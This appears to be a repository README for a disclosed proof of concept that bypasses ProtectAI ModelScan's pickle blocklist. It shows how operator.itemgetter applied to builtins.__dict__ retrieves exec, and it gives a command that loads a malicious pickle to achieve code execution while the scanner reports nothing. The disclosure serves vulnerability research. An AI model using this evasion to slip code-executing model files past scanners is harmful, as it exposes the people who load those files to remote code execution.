xiaoyaoes/modelscan-builtins-dict-bypass-poc

ModelScan Bypass PoC: builtins.__dict__ + operator.itemgetter()

Overview

A systemic bypass of ProtectAI ModelScan's pickle blocklist.
This reveals a fundamental architectural weakness: builtins.__dict__ is not in the blocklist, allowing retrieval of any built-in function including exec, eval, open, etc.

The Bypass

operator.itemgetter("exec")(builtins.__dict__)
  -> builtins.__dict__["exec"]
  -> <built-in function exec>
  -> exec(arbitrary_code)
  -> REMOTE CODE EXECUTION

Files

File	Size	Description
code_bypass.pkl	144 B	Raw pickle (v5), 144 bytes
code_bypass.joblib	89 B	joblib format, 89 bytes

Verification

# Install modelscan
pip install modelscan

# Scan - will report "No issues found"
modelscan --path code_bypass.pkl

# Execute - RCE
python -c "import pickle; pickle.load(open('code_bypass.pkl','rb'))"

Disclosure

• Researcher: xiaoyaoes
• Date: 2026-06-19
• Status: Reported via Huntr MFV program